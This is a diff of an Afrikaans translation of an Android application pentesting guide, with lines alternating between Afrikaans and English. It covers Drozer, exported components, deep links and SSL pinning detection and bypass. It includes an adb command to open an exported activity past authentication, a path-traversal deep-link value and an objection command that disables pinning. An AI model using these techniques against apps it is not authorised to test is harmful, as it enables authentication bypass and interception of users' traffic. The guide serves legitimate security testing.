+- As die app sensitief is (soos bankapps), behoort dit sy **eie kontroles te doen om te sien of die mobiel geroot is** en dienooreenkomstig op te tree.
+- As die app sensitief is (soos bankapps), behoort dit te kontroleer of ’n **emulator** gebruik word.
+- As die app sensitief is (soos bankapps), behoort dit **sy eie integriteit te kontroleer voordat dit uitgevoer word** om te kyk of dit gewysig is.
+- Gebruik [**APKiD**](https://github.com/rednaga/APKiD) om te kyk watter compiler/packer/obfuscator gebruik is om die APK te bou
 
 ### React Native Application
 
@@ -196,19 +197,19 @@ Read the following page to learn how to easily access C# code of a xamarin appli
 
 ### Superpacked Applications
 
-According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.**
+Volgens hierdie [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) is superpacked ’n Meta-algoritme wat die inhoud van ’n toepassing in ’n enkele lêer saamdruk. Die blog beskryf die moontlikheid om ’n app te skep wat hierdie tipe apps kan dekomprimeer... en ’n vinniger manier wat behels om die **application te execute en die decompressed files vanaf die filesystem te versamel.**
 
-### Automated Static Code Analysis
+### Geautomatiseerde Statiese Kode-analise
 
-Die tool [**mariana-trench**](https://github.com/facebook/mariana-trench) kan **vulnerabilities** opspoor deur die **code** van die toepassing te **scan**. Hierdie tool bevat 'n reeks **known sources** (wat vir die tool aandui die **places** waar die **input** deur die gebruiker beheer word), **sinks** (wat die tool aandui die **dangerous** **places** waar kwaadwillige gebruiker-input skade kan veroorsaak) en **rules**. Hierdie reëls dui die **combination** van **sources-sinks** aan wat 'n kwetsbaarheid aandui.
+Die tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is in staat om **vulnerabilities** te vind deur die **code** van die toepassing te **scan**. Hierdie tool bevat ’n reeks **known sources** (wat die tool aandui watter **places** die **input** deur die gebruiker beheer word), **sinks** (wat die tool aandui **dangerous** **places** waar malisieuse gebruikersinvoer skade kan veroorsaak) en **rules**. Hierdie rules dui die **kombinasie** van **sources-sinks** aan wat op ’n vulnerability dui.
 
-Met hierdie kennis sal **mariana-trench** die **code** hersien en moontlike **vulnerabilities** daarin vind.
+Met hierdie kennis, **mariana-trench sal die kode hersien en moontlike vulnerabilities daarin vind.**
 
-### Geheime leak
+### Secrets leaked
 
-'n Toepassing kan geheime bevat (API keys, wagwoorde, hidden urls, subdomains...) binne-in wat jy moontlik kan ontdek. Jy kan 'n hulpmiddel soos [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) gebruik.
+’n Toepassing mag geheimenisse (API keys, passwords, hidden urls, subdomains...) daarin hê wat jy moontlik kan ontdek. Jy kan ’n tool gebruik soos [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
 
-### Omseil Biometriese Verifikasie
+### Bypass Biometric Authentication
 
 
 {{#ref}}
@@ -233,21 +234,21 @@ content-protocol.md
 
 ---
 
-## Dinamiese Analise
+## Dynamic Analysis
 
-> Eerstens het jy 'n omgewing nodig waar jy die toepassing en al die benodigdhede kan installeer (veral Burp CA-sertifikaat, Drozer en Frida). Daarom word 'n gerootde toestel (geëmuleer of nie) uiters aanbeveel.
+> Eerstens het jy ’n omgewing nodig waar jy die toepassing en al die omgewing (Burp CA cert, Drozer en Frida hoofsaaklik) kan installeer. Daarom word ’n gerootte toestel (emulated of nie) uiters aanbeveel.
 
-### Aanlyn Dinamiese analise
+### Online Dynamic analysis
 
-Jy kan 'n **gratis rekening** skep by: [https://appetize.io/](https://appetize.io). Hierdie platform laat jou toe om APKs te **upload** en te **execute**, dus is dit nuttig om te sien hoe 'n apk optree.
+You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving.
 
-Jy kan selfs **die logs van jou toepassing** op die web sien en via **adb** koppel.
+You can even **see the logs of your application** in the web and connect through **adb**.
 
 ![](<../../images/image (831).png>)
 
-Danksy die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulators gebruik.
+Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators.
 
-### Lokale Dinamiese Analise
+### Plaaslike Dinamiese Analise
 
 #### Using an emulator
 
@@ -263,17 +264,17 @@ avd-android-virtual-device.md
 - [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer).
 
 > [!TIP]
-> Wanneer jy 'n nuwe emulator op enige platform skep, onthou dat hoe groter die skerm is, hoe stadiger sal die emulator loop. Kies dus kleiner skerms indien moontlik.
+> Wanneer jy ’n nuwe emulator op enige platform skep, onthou dat hoe groter die skerm is, hoe stadiger sal die emulator loop. Kies dus klein skerms indien moontlik.
 
-Om **google services** (soos AppStore) in Genymotion te **installeer** moet jy op die rooi gemerkde knoppie in die volgende beeld klik:
+To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image:
 
 ![](<../../images/image (277).png>)
 
-Neem ook kennis dat in die **konfigurasie van die Android VM in Genymotion** jy **Bridge Network mode** kan kies (dit sal nuttig wees as jy vanaf 'n ander VM met die gereedskap na die Android VM sal koppel).
+Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools).
 
-#### Use a physical device
+#### Gebruik ’n fisiese toestel
 
-Jy moet die **debugging**-opsies aktiveer en dit sal handig wees as jy dit kan **root**:
+Jy moet die **debugging** opsies aktiveer en dit sal goed wees as jy dit kan **root**:
 
 1. **Settings**.
 2. (FromAndroid 8.0) Select **System**.
@@ -281,164 +282,166 @@ Jy moet die **debugging**-opsies aktiveer en dit sal handig wees as jy dit kan *
 4. Press **Build number** 7 times.
 5. Go back and you will find the **Developer options**.
 
-> Sodra jy die toepassing geïnstalleer het, moet jy dit eers probeer en ondersoek wat dit doen, hoe dit werk en gemaklik raak daarmee.\
-> Ek stel voor om hierdie aanvanklike dinamiese analise uit te voer met MobSF dynamic analysis + pidcat, sodat ons kan **leer hoe die toepassing werk** terwyl MobSF baie **interesting** **data** vasvang wat jy later kan hersien.
+> Sodra jy die toepassing geïnstalleer het, is die eerste ding wat jy moet doen om dit te probeer en ondersoek wat dit doen, hoe dit werk en gemaklik daarmee te raak.\
+> Ek stel voor om hierdie aanvanklike dinamiese analise met MobSF dynamic analysis + pidcat uit te voer, sodat ons kan **leer hoe die toepassing werk** terwyl MobSF baie **interesting** **data** vang wat jy later kan hersien.
 
-### Onbedoelde Data leak
+### Unintended Data Leakage
 
 **Logging**
 
-Ontwikkelaars moet versigtig wees om **debugging information** publiek bloot te stel, aangesien dit tot sensitiewe data leaks kan lei. Die gereedskap [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor en sensitiewe inligting te identifiseer en te beskerm. **Pidcat** word verkies vir sy gebruiksgemak en leesbaarheid.
+Ontwikkelaars moet versigtig wees om nie **debugging information** publiek bloot te stel nie, aangesien dit sensitiewe data leaks kan veroorsaak. Die tools [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** word verkies vir die eenvoud en leesbaarheid.
 
 > [!WARNING]
-> Neem kennis dat vanaf **later newer than Android 4.0**, **applications are only able to access their own logs**. Dus kan toepassings nie ander apps se logs toegang nie.\
-> Dit word steeds aanbeveel om **nie sensitiewe inligting te log nie**.
+> Neem kennis dat vanaf **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\
+> Anyway, it's still recommended to **not log sensitive information**.
 
 **Copy/Paste Buffer Caching**
 
-Android se **clipboard-based** raamwerk bied copy-paste funksionaliteit in apps, maar dra 'n risiko omdat **ander applications** die clipboard kan **access**, wat potensieel sensitiewe data kan blootstel. Dit is belangrik om copy/paste funksies te **disable** vir sensitiewe dele van 'n toepassing, soos kredietkaartbesonderhede, om data leaks te voorkom.
+Android se **clipboard-based** raamwerk maak copy-paste funksionaliteit in apps moontlik, maar vorm ’n risiko aangesien **other applications** die clipboard kan **access**, wat sensitiewe data moontlik blootstel. Dit is belangrik om copy/paste funksies vir sensitiewe gedeeltes van ’n toepassing, soos kredietkaartbesonderhede, uit te skakel om data leaks te voorkom.
 
 **Crash Logs**
 
-As 'n toepassing **crash** en logs stoor, kan hierdie logs aanvallers help, veral wanneer die toepassing nie maklik omgekeerd kan word nie. Om hierdie risiko te verminder, moet jy vermy om op crashes te log, en as logs oor die netwerk gestuur moet word, moet dit via 'n SSL-kanaal gestuur word.
+As ’n toepassing **crash** en logs stoor, kan daardie logs aanvallers help, veral wanneer die toepassing nie gerestreer kan word nie. Om hierdie risiko te beperk, moet jou nie op crashes log nie, en as logs oor die netwerk gestuur moet word, verseker dat hulle via ’n SSL-kanaal gestuur word vir sekuriteit.
 
-As 'n pentester, **probeer om na hierdie logs te kyk**.
+As pentester, **probeer om na hierdie logs te kyk**.
 
 **Analytics Data Sent To 3rd Parties**
 
-Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk sensitiewe data kan leak as dit verkeerd geïmplementeer is deur ontwikkelaars. Om moontlike data leaks te identifiseer, is dit raadsaam om die toepassing se verkeer te onderskep en te kontroleer of sensitiewe inligting na derdepartye gestuur word.
+Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk sensitiewe data kan **leak** as gevolg van onvanpaste implementering deur ontwikkelaars. Om moontlike data leaks te identifiseer, is dit raadsaam om die toepassing se verkeer te onderskep en te kyk of enige sensitiewe inligting na derdepartye gestuur word.
 
 ### SQLite DBs
 
-Die meeste toepassings gebruik **internal SQLite databases** om inligting te stoor. Tydens die pentest kyk na die **databases** wat geskep is, die name van **tables** en **columns** en al die **data** wat gestoor is, aangesien jy sensitiewe inligting kan vind (wat 'n kwetsbaarheid sou wees).\
+Die meeste toepassings sal **internal SQLite databases** gebruik om inligting te stoor. Tydens die pentest kyk na die **databases** wat geskep is, die name van **tables** en **columns** en al die **data** wat gestoor is, want jy kan **sensitive information** vind (wat ’n vulnerability sou wees).\
 Databases behoort te wees in `/data/data/the.package.name/databases` soos `/data/data/com.mwr.example.sieve/databases`
 
-As die databasis vertroulike inligting stoor en **encrypted** is maar jy kan die **password** binne die toepassing **find**, is dit steeds 'n **vulnerability**.
+As die database vertroulike inligting stoor en is **encrypted** maar jy kan die **password** binne die toepassing **vind**, is dit steeds ’n **vulnerability**.
 
-Nommer die tabelle met `.tables` en lys die kolomme van 'n tabel met `.schema <table_name>`
+Lys die tables met `.tables` en lys die kolomme van die tables met `.schema <table_name>`
 
 ### Drozer (Exploit Activities, Content Providers and Services)
 
-From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** laat jou toe om die **rol van 'n Android app aan te neem** en met ander apps te interakteer. Dit kan **enige iets doen wat 'n geïnstalleerde toepassing kan doen**, soos gebruik maak van Android se Inter-Process Communication (IPC) meganisme en met die onderliggende bedryfstelsel interakteer. .\
-Drozer is 'n nuttige tool om **exported activities, exported services en Content Providers te exploit** soos jy in die volgende afdelings sal leer.
+From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
+Drozer is ’n nuttige tool om **exploit exported activities, exported services and Content Providers** te doen soos jy in die volgende afdelings sal leer.
 
 ### Exploiting exported Activities
 
 [**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
-Onthou ook dat die kode van 'n activity begin in die **`onCreate`** metode.
+Onthou ook dat die kode van ’n activity begin in die **`onCreate`** metode.
 
 **Authorisation bypass**
 
-Wanneer 'n Activity geëxporteer is kan jy sy skerm vanaf 'n eksterne app oproep. Daarom, as 'n activity met **sensitive information** **exported** is, kan jy die **authentication** meganismes **bypass** om toegang daartoe te kry.
+Wanneer ’n Activity exported is, kan jy sy skerm vanaf ’n eksterne app aanroep. Daarom, as ’n activity met **sensitive information** **exported** is, kan jy die **authentication** meganismes **bypass** om toegang daartoe te kry.
 
 [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
 
-Jy kan ook 'n exported activity vanaf adb begin:
+You can also start an exported activity from adb:
 
 - PackageName is com.example.demo
 - Exported ActivityName is com.example.test.MainActivity
 ```bash
 adb shell am start -n com.example.demo/com.example.test.MainActivity
 ```
-**OPMERKING**: MobSF sal die gebruik van _**singleTask/singleInstance**_ as `android:launchMode` in 'n activity as kwaadwillig beskou, maar weens [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) blyk dit net gevaarlik te wees op ouer weergawes (API versions < 21).
+**LET OP**: MobSF sal die gebruik van _**singleTask/singleInstance**_ as `android:launchMode` in 'n activity as kwaadwillig bespeur, maar weens [hierdie](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), lyk dit of dit slegs gevaarlik is op ou weergawes (API versions < 21).
 
 > [!TIP]
-> Let wel dat 'n authorisation bypass nie altyd 'n kwesbaarheid is nie; dit hang af van hoe die bypass werk en watter inligting blootgestel word.
+> Neem kennis dat 'n authorisation bypass nie altyd 'n vulnerability is nie; dit hang af van hoe die bypass werk en watter inligting blootgestel word.
 
-**Gevoelige inligtinglekkasie**
+**Sensitive information leakage**
 
-**Activities can also return results**. As jy 'n exported en onbeveiligde activity vind wat die **`setResult`**-metode aanroep en **gevoelige inligting teruggee**, is daar 'n gevoelige inligtinglekkasie.
+**Activities can also return results**. As jy daarin slaag om 'n exported en unprotected activity te vind wat die **`setResult`** metode aanroep en **sensitive information** teruggee, is daar 'n sensitive information leakage.
 
 #### Tapjacking
 
-As Tapjacking nie voorkom word nie, kan jy die exported activity misbruik om die **gebruiker onverwante aksies te laat uitvoer**. Vir meer info oor [**wat is Tapjacking — volg die skakel**](#tapjacking).
+As Tapjacking nie voorkom word nie, kan jy die exported activity misbruik om die **gebruiker** onverwagte aksies te laat uitvoer. Vir meer inligting oor [**what is Tapjacking follow the link**](#tapjacking).
 
 ### Exploiting Content Providers - Accessing and manipulating sensitive information
 
-[**Lees dit as jy wil hernu wat 'n Content Provider is.**](android-applications-basics.md#content-provider)\
-Content providers word basies gebruik om **data te deel**. As 'n app beskikbare content providers het, kan jy dalk **sensitiewe data** daaruit onttrek. Dit is ook interessant om moontlike **SQL injections** en **Path Traversals** te toets aangesien hulle kwesbaar kan wees.
+[**Lees dit as jy jou kennis oor wat 'n Content Provider is wil opfris.**](android-applications-basics.md#content-provider)\
+Content providers word hoofsaaklik gebruik om **data te deel**. As 'n app beskikbare Content Providers het, kan jy dalk sensitiewe data daaruit onttrek. Dit is ook belangrik om moontlike **SQL injections** en **Path Traversals** te toets aangesien hulle kwesbaar kan wees.
 
-[**Leer hoe om Content Providers met Drozer te benut.**](drozer-tutorial/index.html#content-providers)
+[**Leer hoe om Content Providers met Drozer te exploit.**](drozer-tutorial/index.html#content-providers)
 
 ### **Exploiting Services**
 
-[**Lees dit as jy wil hernu wat 'n Service is.**](android-applications-basics.md#services)\
-Onthou dat die optrede van 'n Service begin in die metode `onStartCommand`.
+[**Lees dit as jy jou kennis oor wat 'n Service is wil opfris.**](android-applications-basics.md#services)\
+Onthou dat die aksies van 'n Service begin in die metode `onStartCommand`.
 
-'n Service is basies iets wat **data kan ontvang**, dit **verwerk** en (al dan nie) 'n antwoord **teruggee**. As 'n aansoek dus sommige services exporteer, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dinamies** toets om vertroulike inligting te onttrek, verifikasie-maatreëls te omseil...\
-[**Leer hoe om Services met Drozer te benut.**](drozer-tutorial/index.html#services)
+'n Service is basies iets wat **data kan ontvang**, dit kan **verwerk** en (al dan nie) 'n reaksie **teruggee**. Dus, as 'n toepassing sekere services exporteer, moet jy die **code** nagaan om te verstaan wat dit doen en dit **dinamies** toets om vertroulike inligting te onttrek, authentication measures te bypass, ens.\
+[**Leer hoe om Services met Drozer te exploit.**](drozer-tutorial/index.html#services)
 
 ### **Exploiting Broadcast Receivers**
 
-[**Lees dit as jy wil hernu wat 'n Broadcast Receiver is.**](android-applications-basics.md#broadcast-receivers)\
-Onthou dat die optrede van 'n Broadcast Receiver begin in die metode `onReceive`.
+[**Lees dit as jy jou kennis oor wat 'n Broadcast Receiver is wil opfris.**](android-applications-basics.md#broadcast-receivers)\
+Onthou dat die aksies van 'n Broadcast Receiver begin in die metode `onReceive`.
 
-'n Broadcast receiver sal wag vir 'n tipe boodskap. Afhangend van hoe die receiver die boodskap hanteer, kan dit kwesbaar wees.\
-[**Leer hoe om Broadcast Receivers met Drozer te benut.**](#exploiting-broadcast-receivers)
+'n Broadcast Receiver sal wag vir 'n tipe boodskap. Afhangend van hoe die receiver die boodskap hanteer, kan dit kwesbaar wees.\
+[**Leer hoe om Broadcast Receivers met Drozer te exploit.**](#exploiting-broadcast-receivers)
 
 ### **Exploiting Schemes / Deep links**
 
-Jy kan handmatig na deep links soek deur gereedskap soos MobSF of skripte soos [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) te gebruik.\
-Jy kan 'n verklaarde **scheme** oopmaak met **adb** of 'n **browser**:
+Jy kan handmatig na deep links soek, met hulpmiddels soos MobSF of scripts soos [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
+Jy kan 'n gedeklareerde **scheme** oopmaak met **adb** of 'n **browser**:
 ```bash
 adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
 ```
-_Let wel dat jy die **package name** kan weglaat en die mobiele toestel sal outomaties die app oproep wat daardie link behoort te open._
+_Let wel dat jy die **package name** kan weglaat en die mobiele toestel outomaties die app sal oproep wat daardie skakel behoort oop te maak._
 ```html
 <!-- Browser regular link -->
 <a href="scheme://hostname/path?param=value">Click me</a>
 <!-- fallback in your url you could try the intent url -->
 <a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
 ```
-**Kode uitgevoer**
+**Uitgevoerde kode**
 
-Om die **kode wat in die app uitgevoer sal word** te vind, gaan na die activity wat deur die deeplink aangeroep word en soek die funksie **`onNewIntent`**.
+Om die **kode wat in die App uitgevoer sal word** te vind, gaan na die activity wat deur die deeplink aangeroep word en soek die funksie **`onNewIntent`**.
 
 ![](<../../images/image (436) (1) (1) (1).png>)
 
 **Sensitiewe inligting**
 
-Elke keer as jy 'n deep link vind, kontroleer dat dit nie sensitiewe data (soos wagwoorde) via URL parameters ontvang nie, want enige ander toepassing kan die deep link nadoen en daardie data steel!
+Elke keer as jy 'n deep link vind, kontroleer dat **dit nie sensitiewe data (soos wagwoorde) via URL-parameters ontvang nie**, want enige ander toepassing kan **die deep link naboots en daardie data steel!**
 
 **Parameters in pad**
 
-Jy moet ook kyk of enige deep link 'n parameter binne die pad van die URL gebruik soos: `https://api.example.com/v1/users/{username}` , in daardie geval kan jy 'n path traversal dwing deur iets soos te benader: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
-Neem kennis dat as jy die korrekte endpoints binne die toepassing vind, jy dalk 'n **Open Redirect** kan veroorsaak (as deel van die path as domain name gebruik word), **account takeover** (as jy gebruikersdetails kan wysig sonder CSRF token en die vuln endpoint die korrekte metode gebruik) en enige ander vuln. Meer [info hieroor](http://dphoeniixx.com/2020/12/13-2/).
+Jy **moet ook nagaan of enige deep link 'n parameter binne die pad** van die URL gebruik soos: `https://api.example.com/v1/users/{username}`, in daardie geval kan jy 'n path traversal afdwing deur toegang te verkry soos: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
+Let daarop dat as jy die korrekte endpoints binne die toepassing vind, jy moontlik 'n **Open Redirect** kan veroorsaak (as 'n deel van die pad as domeinnaam gebruik word), **account takeover** (as jy gebruikersbesonderhede kan wysig sonder 'n CSRF token en die vuln endpoint die korrekte metode gebruik) en enige ander vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
 
-An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_).
+**Meer voorbeelde**
 
-### Transportlaag-inspeksie en verifikasie-foute
+'n [interesting bug bounty report](https://hackerone.com/reports/855618) oor links (_/.well-known/assetlinks.json_).
 
-- **Sertifikate word nie altyd behoorlik geïnspekteer nie** deur Android-toepassings. Dit is algemeen dat hierdie toepassings waarskuwings ignoreer en self-signed sertifikate aanvaar of, in sommige gevalle, terugval na die gebruik van HTTP-verbindinge.
-- **Onderhandelinge tydens die SSL/TLS-handshake is soms swak**, en gebruik onveilige cipher suites. Hierdie kwesbaarheid maak die verbinding vatbaar vir man-in-the-middle (MITM)-aanvalle, wat aanvallers in staat stel om die data te ontsleutel.
-- **Leakage of private information** is 'n risiko wanneer toepassings met sekure kanale autentiseer, maar dan oor nie-sekure kanale kommunikeer vir ander transaksies. Hierdie benadering beskerm nie sensitiewe data, soos sessie cookies of gebruikerbesonderhede, teen onderskep deur kwaadwilliges nie.
+### Inspeksie van die vervoerslaag en verifikasie-foute
 
-#### Certificate Verification
+- **Sertifikate word nie altyd behoorlik ondersoek nie** deur Android-toepassings. Dit is algemeen dat hierdie toepassings waarskuwings ignoreer en self-ondertekende sertifikate aanvaar of, in sommige gevalle, terugval na die gebruik van HTTP-verbindinge.
+- **Onderhandelinge tydens die SSL/TLS-handshake is soms swak**, en gebruik onveilige cipher suites. Hierdie kwesbaarheid maak die verbinding kwesbaar vir man-in-the-middle (MITM)-aanvalle, wat aanvallers toelaat om die data te ontsleutel.
+- **Leakage of private information** is 'n risiko wanneer toepassings met veilige kanale verifieer, maar dan oor onveilige kanale kommunikeer vir ander transaksies. Hierdie benadering beskerm nie sensitiewe data, soos sessie-cookies of gebruikersbesonderhede, teen onderskep deur kwaadwilliges nie.
 
-Ons sal fokus op **certificate verification**. Die integriteit van die bediener se sertifikaat moet geverifieer word om sekuriteit te verbeter. Dit is van kritieke belang omdat onveilige TLS-konfigurasies en die oordrag van sensitiewe data oor onversleutelde kanale beduidende risiko's kan inhou. Vir gedetailleerde stappe oor die verifikasie van bediener-sertifikate en die aanspreek van kwesbaarhede, bied [**hierdie hulpbron**](https://manifestsecurity.com/android-application-security-part-10/) omvattende leiding.
+#### Sertifikaatverifikasie
+
+Ons sal fokus op **sertifikaatverifikasie**. Die integriteit van die bediener se sertifikaat moet geverifieer word om veiligheid te verbeter. Dit is noodsaaklik omdat onveilige TLS-konfigurasies en die oordrag van sensitiewe data oor onversleutelde kanale groot risiko's kan inhou. For detailed steps on verifying server certificates and addressing vulnerabilities, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) provides comprehensive guidance.
 
 #### SSL Pinning
 
-SSL Pinning is 'n sekuriteitsmaatreël waar die toepassing die bediener se sertifikaat verifieer teen 'n bekende kopie wat binne die toepassing self gestoor is. Hierdie metode is noodsaaklik om MITM-aanvalle te voorkom. Dit word sterk aanbeveel om SSL Pinning te implementeer vir toepassings wat sensitiewe inligting hanteer.
+SSL Pinning is 'n sekuriteitsmaatreël waar die toepassing die bediener se sertifikaat vergelyk met 'n bekende kopie wat binne die toepassing self gestoor is. Hierdie metode is noodsaaklik om MITM-aanvalle te voorkom. Dit word sterk aanbeveel om SSL Pinning te implementeer vir toepassings wat sensitiewe inligting hanteer.
 
 #### Verkeersinspeksie
 
-Om HTTP-verkeer te inspekteer, is dit nodig om die proxy-instrument se sertifikaat te installeer (bv. Burp). Sonder om hierdie sertifikaat te installeer, mag versleutelde verkeer nie deur die proxy sigbaar wees nie. Vir 'n gids oor die installering van 'n pasgemaakte CA-sertifikaat, [**klik hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
+Om HTTP-verkeer te inspekteer, is dit nodig om **die proxy-gereedskap se sertifikaat te installeer** (bv. Burp). Sonder hierdie sertifikaat mag versleutelde verkeer nie deur die proxy sigbaar wees nie. Vir 'n gids oor die installering van 'n pasgemaakte CA-sertifikaat, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
 
-Toepassings wat mik op **API Level 24 and above** vereis wysigings aan die Network Security Config om die proxy se CA-sertifikaat te aanvaar. Hierdie stap is krities vir die inspeksie van versleutelde verkeer. Vir instruksies oor die wysiging van die Network Security Config, [**verwys na hierdie handleiding**](make-apk-accept-ca-certificate.md).
+Toepassings wat mik op **API Level 24 and above** vereis wysigings aan die Network Security Config om die proxy se CA-sertifikaat te aanvaar. Hierdie stap is kritiek om versleutelde verkeer te inspekteer. For instructions on modifying the Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
 
-As **Flutter** gebruik word, moet jy die instruksies op [**hierdie bladsy**](flutter.md) volg. Dit is omdat net om die sertifikaat by die store te voeg nie sal werk nie, aangesien Flutter sy eie lys geldige CAs het.
+If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). This is becasue, just adding the certificate into the store won't work as Flutter has its own list of valid CAs.
 
-#### Statiese deteksie van SSL/TLS pinning
+#### Statiese opsporing van SSL/TLS pinning
 
-Voordat jy runtime-bypasses probeer, karteer vinnig waar pinning in die APK afgedwing word. Statiese opsporing help jou om hooks/patches te beplan en te fokus op die regte code paths.
+Voordat jy runtime-bypasses probeer, karteer vinnig waar pinning in die APK afgedwing word. Statiese ontdekking help jou om hooks/patches te beplan en op die regte kodepade te fokus.
 
 Tool: SSLPinDetect
-- Open-source static-analysis nut wat die APK na Smali dekompileer (via apktool) en skandeer vir gekureerde regex-patrone van SSL/TLS pinning-implementasies.
-- Rapporteer die presiese file path, line number en 'n code snippet vir elke ooreenkoms.
-- Dek algemene frameworks en custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init met custom TrustManagers/KeyManagers, en Network Security Config XML pins.
+- Open-source statiese-analise nutsmiddel wat die APK na Smali decompileer (via apktool) en skandeer vir gekurateerde regex-patrone van SSL/TLS pinning-implementasies.
+- Rapporteer die presiese lêerpad, reëlnommer en 'n kodefragment vir elke ooreenkoms.
+- Dek gewone frameworks en pasgemaakte kodepade: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
 
-Installeer
+Install
 - Vereistes: Python >= 3.8, Java on PATH, apktool
 ```bash
 git clone https://github.com/aancw/SSLPinDetect
@@ -454,7 +457,7 @@ python sslpindetect.py -f app.apk -a apktool.jar
 python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
 ```
 Voorbeeld patroonreëls (JSON)
-Gebruik of brei signatures uit om proprietary/custom pinning styles te detecteer. Jy kan jou eie JSON laai en op skaal scan.
+Gebruik of brei signatures uit om proprietêre/aangepaste pinning-styls te ontdek. Jy kan jou eie JSON laai en op skaal skandeer.
 ```json
 {
 "OkHttp Certificate Pinning": [
@@ -468,53 +471,53 @@ Gebruik of brei signatures uit om proprietary/custom pinning styles te detecteer
 ]
 }
 ```
-Aantekeninge en wenke
-- Vinnige skandering op groot apps via multi-threading en memory-mapped I/O; vooraf-gecompileerde regex verminder oorhoofse vrag/vals positiewe.
+Notas en wenke
+- Vinnige skandering van groot apps via multi-threading en memory-mapped I/O; vooraf-gecompileerde regex verminder overhead en valse positiewe.
 - Pattern collection: https://github.com/aancw/smali-sslpin-patterns
 - Tipiese detectiedoelwitte om volgende te triage:
 - OkHttp: CertificatePinner gebruik, setCertificatePinner, okhttp3/okhttp pakketverwysings
-- Aangepaste TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted oorskrywings
-- Aangepaste SSL-kontekste: SSLContext.getInstance + SSLContext.init met aangepaste managers
-- Deklaratiewe pins in res/xml network security config en manifest verwysings
-- Gebruik die ooreenstemmende lokasies om Frida hooks, statiese patching, of konfigurasie-audits te beplan voordat jy dinamiese toetsing doen.
+- Aangepaste TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
+- Aangepaste SSL contexts: SSLContext.getInstance + SSLContext.init met aangepaste managers
+- Deklaratiewe pinne in res/xml network security config en manifestverwysings
+- Gebruik die ooreenstemmende plekke om Frida hooks, statiese patches, of config-resensies te beplan voor dinamiese toetsing.
 
 
 
 #### Om SSL Pinning te omseil
 
-Wanneer SSL Pinning geïmplementeer is, word dit nodig om dit te omseil om HTTPS-verkeer te inspekteer. Verskeie metodes is beskikbaar vir hierdie doel:
+Wanneer SSL Pinning geïmplementeer is, word dit nodig om dit te omseil om HTTPS-verkeer te ondersoek. Verskeie metodes is beskikbaar vir hierdie doel:
 
-- Outomaties **wysig** die **apk** om SSLPinning te **omseil** met [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Die grootste voordeel van hierdie opsie is dat jy nie root nodig het om die SSL Pinning te omseil nie, maar jy sal die toepassing moet verwyder en die nuwe een herinstalleer, en dit sal nie altyd werk nie.
-- Jy kan **Frida** gebruik (hieronder bespreek) om hierdie beskerming te omseil. Hier is 'n gids om Burp+Frida+Genymotion te gebruik: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
-- Jy kan ook probeer om SSL Pinning outomaties te omseil deur [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
